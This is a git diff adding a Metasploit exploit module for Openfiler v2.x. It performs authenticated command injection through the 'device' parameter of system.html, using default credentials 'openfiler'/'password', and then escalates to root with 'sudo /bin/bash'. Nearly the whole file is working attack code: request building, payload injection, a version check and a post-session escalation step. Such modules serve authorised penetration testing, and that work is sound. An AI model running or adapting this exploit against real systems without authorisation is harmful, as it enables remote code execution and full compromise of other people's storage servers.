diff --git a/modules/exploits/linux/http/openfiler_networkcard_exec.rb b/modules/exploits/linux/http/openfiler_networkcard_exec.rb new file mode 100644 index 0000000000..5d08db6066 --- /dev/null +++ b/modules/exploits/linux/http/openfiler_networkcard_exec.rb @@ -0,0 +1,130 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "Openfiler v2.x NetworkCard Command Execution", + 'Description' => %q{ + This module exploits a vulnerability in Openfiler v2.x + which could be abused to allow authenticated users to execute arbitrary + code under the context of the 'openfiler' user. The 'system.html' file + uses user controlled data from the 'device' parameter to create a new + 'NetworkCard' object. The class constructor in 'network.inc' calls exec() + with the supplied data. The 'openfiler' user may 'sudo /bin/bash' without + providing a system password. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brendan Coles ' # Discovery and exploit + ], + 'References' => + [ + ['URL', 'http://itsecuritysolutions.org/2012-09-06-Openfiler-v2.x-multiple-vulnerabilities/'] + #['OSVDB', ''], + #['EDB', ''], + ], + 'DefaultOptions' => + { + 'ExitFunction' => 'none' + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Space' => 1024, + 'BadChars' => "\x00", + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic telnet python perl bash', + } + }, + 'Targets' => + [ + ['Automatic Targeting', { 'auto' => true }] + ], + 'Privileged' => false, + 'DisclosureDate' => "Sep 04 2012", + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(446), + OptBool.new('SSL', [true, 'Use SSL', true]), + OptString.new('USERNAME', [true, 'The username for the application', 'openfiler']), + OptString.new('PASSWORD', [true, 'The password for the application', 'password']) + ], self.class) + end + + def check + + @peer = "#{rhost}:#{rport}" + + # retrieve software version from login page + print_status("#{@peer} - Sending check") + begin + res = send_request_cgi({ + 'uri' => '/' + }) + + return Exploit::CheckCode::Unknown if res.nil? + + if res and res.code == 200 and res.body =~ /Distro Release: <\/strong>Openfiler [NE]SA 2\./ + return Exploit::CheckCode::Appears + elsif res and res.code == 200 and res.body =~ /Openfiler Storage Control Center<\/title>/ + return Exploit::CheckCode::Detected + end + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + print_error("#{@peer} - Connection failed") + end + return Exploit::CheckCode::Unknown + + end + + def on_new_session(client) + client.shell_command_token("sudo /bin/bash") + end + + + def exploit + + @peer = "#{rhost}:#{rport}" + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + cmd = Rex::Text.uri_encode("&#{payload.raw}&") + + # send payload + print_status("#{@peer} - Sending payload (#{payload.raw.length} bytes)") + begin + res = send_request_cgi({ + 'uri' => "/admin/system.html?step=2&device=lo#{cmd}", + 'cookie' => "usercookie=#{user}; passcookie=#{pass};", + }, 25) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + fail_with(Exploit::Failure::Unknown, 'Connection failed') + end + + if res and res.code == 200 and res.body =~ /<title>System : Network Setup<\/title>/ + print_good("#{@peer} - Payload sent successfully") + elsif res and res.code == 302 and res.headers['Location'] =~ /\/index\.html\?redirect/ + fail_with(Exploit::Failure::NoAccess, 'Authentication failed') + else + fail_with(Exploit::Failure::Unknown, 'Sending payload failed') + end + + end +end